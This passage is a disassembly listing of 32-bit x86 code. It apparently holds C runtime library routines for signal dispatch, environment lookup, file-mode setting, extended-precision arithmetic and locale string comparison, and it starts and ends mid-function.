		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_4259BC
		dec	eax
		dec	eax
		jz	short loc_4259AD
		sub	eax, 4
		jz	short loc_4259AD
		sub	eax, 3
		jz	short loc_4259AD
		sub	eax, 4
		jz	short loc_4259A0
		sub	eax, 6
		jz	short loc_425993
		dec	eax
		jz	short loc_425986
		or	eax, 0FFFFFFFFh
		jmp	loc_425A7E
; ---------------------------------------------------------------------------


loc_425986:				; CODE XREF: sub_425955+27j
		mov	esi, dword_4DBC2C
		mov	eax, offset dword_4DBC2C
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_425993:				; CODE XREF: sub_425955+24j
		mov	esi, dword_4DBC28
		mov	eax, offset dword_4DBC28
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_4259A0:				; CODE XREF: sub_425955+1Fj
		mov	esi, dword_4DBC30
		mov	eax, offset dword_4DBC30
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_4259AD:				; CODE XREF: sub_425955+10j
					; sub_425955+15j ...
		push	edi
		call	sub_425A82
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_4259BC:				; CODE XREF: sub_425955+Cj
		mov	esi, dword_4DBC24
		mov	eax, offset dword_4DBC24


loc_4259C7:				; CODE XREF: sub_425955+3Cj
					; sub_425955+49j ...
		cmp	esi, 1
		jnz	short loc_4259D3
		xor	eax, eax
		jmp	loc_425A7E
; ---------------------------------------------------------------------------


loc_4259D3:				; CODE XREF: sub_425955+75j
		test	esi, esi
		jnz	short loc_4259DE
		push	3
		call	sub_41B7C2


loc_4259DE:				; CODE XREF: sub_425955+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_4259F0
		cmp	edi, 0Bh
		jz	short loc_4259F0
		cmp	edi, 4
		jnz	short loc_425A16


loc_4259F0:				; CODE XREF: sub_425955+8Fj
					; sub_425955+94j
		mov	ebx, dword_4DBA00
		and	dword_4DBA00, 0
		cmp	edi, ecx
		jnz	short loc_425A45
		mov	edx, dword_43CFFC
		mov	dword_43CFFC, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_425A19
; ---------------------------------------------------------------------------


loc_425A16:				; CODE XREF: sub_425955+99j
		mov	ebx, [ebp+arg_0]


loc_425A19:				; CODE XREF: sub_425955+BFj
		cmp	edi, ecx
		jnz	short loc_425A45
		mov	eax, dword_43CFF0
		mov	ecx, dword_43CFF4
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_425A4C
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:43CF80h[edx*4]


loc_425A3A:				; CODE XREF: sub_425955+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_425A3A
		jmp	short loc_425A4C
; ---------------------------------------------------------------------------


loc_425A45:				; CODE XREF: sub_425955+AAj
					; sub_425955+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_425A5A


loc_425A4C:				; CODE XREF: sub_425955+D7j
					; sub_425955+EEj
		push	dword_43CFFC
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_425A68
; ---------------------------------------------------------------------------


loc_425A5A:				; CODE XREF: sub_425955+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_425A68
		cmp	edi, 4
		jnz	short loc_425A7B


loc_425A68:				; CODE XREF: sub_425955+103j
					; sub_425955+10Cj
		cmp	edi, 8
		mov	dword_4DBA00, ebx
		jnz	short loc_425A7B
		mov	eax, [ebp+arg_0]
		mov	dword_43CFFC, eax


loc_425A7B:				; CODE XREF: sub_425955+111j
					; sub_425955+11Cj
		xor	eax, eax
		pop	ebx


loc_425A7E:				; CODE XREF: sub_425955+2Cj
					; sub_425955+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_425955	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_425A82	proc near		; CODE XREF: sub_425955+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43CFF8
		cmp	dword_43CF7C, edx
		push	esi
		mov	eax, offset dword_43CF78
		jz	short loc_425AB0
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43CF78h[esi*4]


loc_425AA4:				; CODE XREF: sub_425A82+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_425AB0
		cmp	[eax+4], edx
		jnz	short loc_425AA4


loc_425AB0:				; CODE XREF: sub_425A82+16j
					; sub_425A82+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43CF78h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_425AC4
		cmp	[eax+4], edx
		jz	short locret_425AC6


loc_425AC4:				; CODE XREF: sub_425A82+3Bj
		xor	eax, eax

locret_425AC6:				; CODE XREF: sub_425A82+40j
		retn
sub_425A82	endp


; =============== S U B	R O U T	I N E =======================================



sub_425AC7	proc near		; CODE XREF: sub_4247EC+23p

arg_0		= dword	ptr  4

		cmp	dword_4DCFD0, 0
		push	ebx
		push	esi
		mov	esi, dword_4DB950
		push	edi
		jz	short loc_425B3E
		test	esi, esi
		jnz	short loc_425AF8
		cmp	dword_4DB958, esi
		jz	short loc_425B3E
		call	sub_425E95
		test	eax, eax
		jnz	short loc_425B3E
		mov	esi, dword_4DB950
		test	esi, esi
		jz	short loc_425B3E


loc_425AF8:				; CODE XREF: sub_425AC7+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_425B3E
		push	ebx
		call	sub_41AFE0
		pop	ecx
		mov	edi, eax


loc_425B09:				; CODE XREF: sub_425AC7+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_425B3E
		push	eax
		call	sub_41AFE0
		cmp	eax, edi
		pop	ecx
		jbe	short loc_425B31
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_425B31
		push	edi
		push	ebx
		push	eax
		call	sub_425E56
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425B36


loc_425B31:				; CODE XREF: sub_425AC7+51j
					; sub_425AC7+59j
		add	esi, 4
		jmp	short loc_425B09
; ---------------------------------------------------------------------------


loc_425B36:				; CODE XREF: sub_425AC7+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_425B40
; ---------------------------------------------------------------------------


loc_425B3E:				; CODE XREF: sub_425AC7+10j
					; sub_425AC7+1Cj ...
		xor	eax, eax


loc_425B40:				; CODE XREF: sub_425AC7+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_425AC7	endp


; =============== S U B	R O U T	I N E =======================================



sub_425B44	proc near		; CODE XREF: sub_424F0A+8Bp
					; sub_424F0A+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DCD80
		jnb	short loc_425BAB
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DCC80[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_425BAB
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_425B84
		and	cl, 7Fh
		jmp	short loc_425B91
; ---------------------------------------------------------------------------


loc_425B84:				; CODE XREF: sub_425B44+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_425B9F
		or	cl, 80h


loc_425B91:				; CODE XREF: sub_425B44+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_425B9F:				; CODE XREF: sub_425B44+48j
		mov	dword_4DB928, 16h
		jmp	short loc_425BB5
; ---------------------------------------------------------------------------


loc_425BAB:				; CODE XREF: sub_425B44+Bj
					; sub_425B44+27j
		mov	dword_4DB928, 9


loc_425BB5:				; CODE XREF: sub_425B44+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_425B44	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425BBA	proc near		; CODE XREF: sub_4256C2+165p
					; sub_425DDA+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_425DBA
		cmp	cx, 7FFFh
		jnb	loc_425DBA
		cmp	dx, 0BFFDh
		ja	loc_425DBA
		cmp	dx, 3FBFh
		ja	short loc_425C23
		xor	eax, eax
		jmp	short loc_425C5D
; ---------------------------------------------------------------------------


loc_425C23:				; CODE XREF: sub_425BBA+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_425C45
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_425C45
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_425C47
		cmp	[esi], eax
		jnz	short loc_425C47
		jmp	loc_425DB4
; ---------------------------------------------------------------------------


loc_425C45:				; CODE XREF: sub_425BBA+71j
					; sub_425BBA+79j
		xor	eax, eax


loc_425C47:				; CODE XREF: sub_425BBA+80j
					; sub_425BBA+84j
		cmp	cx, ax
		jnz	short loc_425C6A
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_425C6A
		cmp	[ebx+4], eax
		jnz	short loc_425C6A
		cmp	[ebx], eax
		jnz	short loc_425C6A


loc_425C5D:				; CODE XREF: sub_425BBA+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_425DD5
; ---------------------------------------------------------------------------


loc_425C6A:				; CODE XREF: sub_425BBA+90j
					; sub_425BBA+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_425C7A:				; CODE XREF: sub_425BBA+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_425CCE
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_425C96:				; CODE XREF: sub_425BBA+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425CC1
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_425CC1:				; CODE XREF: sub_425BBA+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_425C96


loc_425CCE:				; CODE XREF: sub_425BBA+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_425C7A
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_425D11


loc_425CEC:				; CODE XREF: sub_425BBA+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_425D0A
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4250CF
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425CEC


loc_425D0A:				; CODE XREF: sub_425BBA+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425D4A


loc_425D11:				; CODE XREF: sub_425BBA+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_425D4A
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_425D2A:				; CODE XREF: sub_425BBA+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_425D33
		inc	[ebp+var_14]


loc_425D33:				; CODE XREF: sub_425BBA+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4250FD
		dec	ebx
		pop	ecx
		jnz	short loc_425D2A
		cmp	[ebp+var_14], 0
		jz	short loc_425D4A
		or	byte ptr [ebp+var_24], 1


loc_425D4A:				; CODE XREF: sub_425BBA+155j
					; sub_425BBA+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_425D61
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_425D96


loc_425D61:				; CODE XREF: sub_425BBA+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_425D93
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_425D8E
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_425D88
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_425D96
; ---------------------------------------------------------------------------


loc_425D88:				; CODE XREF: sub_425BBA+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_425D96
; ---------------------------------------------------------------------------


loc_425D8E:				; CODE XREF: sub_425BBA+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_425D96
; ---------------------------------------------------------------------------


loc_425D93:				; CODE XREF: sub_425BBA+1ABj
		inc	[ebp+var_24+2]


loc_425D96:				; CODE XREF: sub_425BBA+1A5j
					; sub_425BBA+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_425DBA
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_425DB4:				; CODE XREF: sub_425BBA+86j
		mov	[esi+0Ah], ax
		jmp	short loc_425DD5
; ---------------------------------------------------------------------------


loc_425DBA:				; CODE XREF: sub_425BBA+42j
					; sub_425BBA+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_425DD5:				; CODE XREF: sub_425BBA+ABj
					; sub_425BBA+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425BBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425DDA	proc near		; CODE XREF: sub_4251F1+440p
					; sub_4256C2+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_43D478
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_425E53
		jge	short loc_425E02
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_43D5D8
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_425E02:				; CODE XREF: sub_425DDA+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_425E0D
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_425E0D:				; CODE XREF: sub_425DDA+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_425E53
		push	esi
		push	edi


loc_425E14:				; CODE XREF: sub_425DDA+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_425E4C
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_425E3F
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_425E3F:				; CODE XREF: sub_425DDA+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_425BBA
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_425E4C:				; CODE XREF: sub_425DDA+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_425E14
		pop	edi
		pop	esi


loc_425E53:				; CODE XREF: sub_425DDA+14j
					; sub_425DDA+36j
		pop	ebx
		leave
		retn
sub_425DDA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425E56	proc near		; CODE XREF: sub_425AC7+5Ep
					; sub_426332+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_425E63
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_425E63:				; CODE XREF: sub_425E56+7j
		push	dword_4DCD84
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_4DCFA4
		call	sub_425F03
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_425E90
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_425E90:				; CODE XREF: sub_425E56+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_425E56	endp


; =============== S U B	R O U T	I N E =======================================



sub_425E95	proc near		; CODE XREF: sub_425AC7+1Ep
					; sub_4261AB+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_4DB958
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_425EF6
		mov	ebx, dword_42717C


loc_425EAE:				; CODE XREF: sub_425E95+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_425EFE
		push	ebp
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_425EFE
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx
		test	eax, eax
		jz	short loc_425EFE
		push	edi
		push	[esp+18h+var_4]
		call	sub_4261AB
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_425EAE


loc_425EF6:				; CODE XREF: sub_425E95+11j
		xor	eax, eax


loc_425EF8:				; CODE XREF: sub_425E95+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_425EFE:				; CODE XREF: sub_425E95+29j
					; sub_425E95+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_425EF8
sub_425E95	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425F03	proc near		; CODE XREF: sub_425E56+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427CF0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_4DBC38, ebx
		push	1
		pop	edi
		jnz	short loc_425F76
		push	edi
		mov	eax, offset dword_427940
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		nop
		call	near ptr 25D0000h
		test	eax, eax
		jz	short loc_425F53
		mov	dword_4DBC38, edi
		jmp	short loc_425F76
; ---------------------------------------------------------------------------


loc_425F53:				; CODE XREF: sub_425F03+46j
		push	edi
		mov	eax, offset dword_4CB4DC
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	near ptr 25D082Eh
		nop
		test	eax, eax
		jz	loc_42616C
		mov	dword_4DBC38, 2


loc_425F76:				; CODE XREF: sub_425F03+31j
					; sub_425F03+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_425F8D
		push	esi
		push	[ebp+arg_8]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi


loc_425F8D:				; CODE XREF: sub_425F03+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_425FA2
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax


loc_425FA2:				; CODE XREF: sub_425F03+8Dj
		mov	eax, dword_4DBC38
		cmp	eax, 2
		jnz	short loc_425FC7
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 25D082Eh
		jmp	loc_42616E
; ---------------------------------------------------------------------------


loc_425FC7:				; CODE XREF: sub_425F03+A7j
		cmp	eax, edi
		jnz	loc_42616C
		cmp	[ebp+arg_18], ebx
		jnz	short loc_425FDC
		mov	eax, dword_4DB9F4
		mov	[ebp+arg_18], eax


loc_425FDC:				; CODE XREF: sub_425F03+CFj
		cmp	esi, ebx
		jz	short loc_425FE9
		cmp	[ebp+arg_14], ebx
		jnz	loc_426081


loc_425FE9:				; CODE XREF: sub_425F03+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_425FF6


loc_425FEE:				; CODE XREF: sub_425F03+13Cj
					; sub_425F03+16Dj
		push	2


loc_425FF0:				; CODE XREF: sub_425F03+146j
		pop	eax
		jmp	loc_42616E
; ---------------------------------------------------------------------------


loc_425FF6:				; CODE XREF: sub_425F03+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_426002


loc_425FFB:				; CODE XREF: sub_425F03+151j
					; sub_425F03+159j ...
		mov	eax, edi
		jmp	loc_42616E
; ---------------------------------------------------------------------------


loc_426002:				; CODE XREF: sub_425F03+F6j
		cmp	esi, edi
		jg	short loc_426047
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		call	near ptr 28B04EFh
		nop
		test	eax, eax
		jz	loc_42616C
		cmp	esi, ebx
		jle	short loc_42604B
		cmp	[ebp+var_3C], 2
		jb	short loc_426047
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_426047


loc_42602D:				; CODE XREF: sub_425F03+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_426047
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_426041
		cmp	cl, dl
		jbe	short loc_425FEE


loc_426041:				; CODE XREF: sub_425F03+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42602D


loc_426047:				; CODE XREF: sub_425F03+101j
					; sub_425F03+120j ...
		push	3
		jmp	short loc_425FF0
; ---------------------------------------------------------------------------


loc_42604B:				; CODE XREF: sub_425F03+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_426081
		cmp	[ebp+var_3C], 2
		jb	short loc_425FFB
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_425FFB


loc_42605E:				; CODE XREF: sub_425F03+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_425FFB
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_426076
		cmp	cl, dl
		jbe	loc_425FEE


loc_426076:				; CODE XREF: sub_425F03+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42605E
		jmp	loc_425FFB
; ---------------------------------------------------------------------------


loc_426081:				; CODE XREF: sub_425F03+E0j
					; sub_425F03+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		call	near ptr 2820000h
		nop
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_42616C
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4260D0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi


loc_4260D0:				; CODE XREF: sub_425F03+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_42616C
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_427180
		call	esi
		test	eax, eax
		jz	short loc_42616C
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_42616C
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42613B
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]


loc_42613B:				; CODE XREF: sub_425F03+224j
		cmp	edi, ebx
		jz	short loc_42616C
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2820000h
		test	eax, eax
		jz	short loc_42616C
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 25D0000h
		jmp	short loc_42616E
; ---------------------------------------------------------------------------


loc_42616C:				; CODE XREF: sub_425F03+63j
					; sub_425F03+C6j ...
		xor	eax, eax


loc_42616E:				; CODE XREF: sub_425F03+BFj
					; sub_425F03+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425F03	endp


; =============== S U B	R O U T	I N E =======================================



sub_426180	proc near		; CODE XREF: sub_422ACA+81p
					; sub_425F03+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_42619D


loc_426190:				; CODE XREF: sub_426180+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_42619D
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_426190


loc_42619D:				; CODE XREF: sub_426180+Ej
					; sub_426180+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_4261A8
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_4261A8:				; CODE XREF: sub_426180+21j
		mov	eax, edx
		retn
sub_426180	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4261AB	proc near		; CODE XREF: sub_425E95+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_42620F
		push	3Dh
		push	[ebp+arg_0]
		call	sub_4263F1
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_42620F
		cmp	[ebp+arg_0], esi
		jz	short loc_42620F
		mov	eax, dword_4DB950
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_4DB954
		jnz	short loc_4261F5
		push	eax
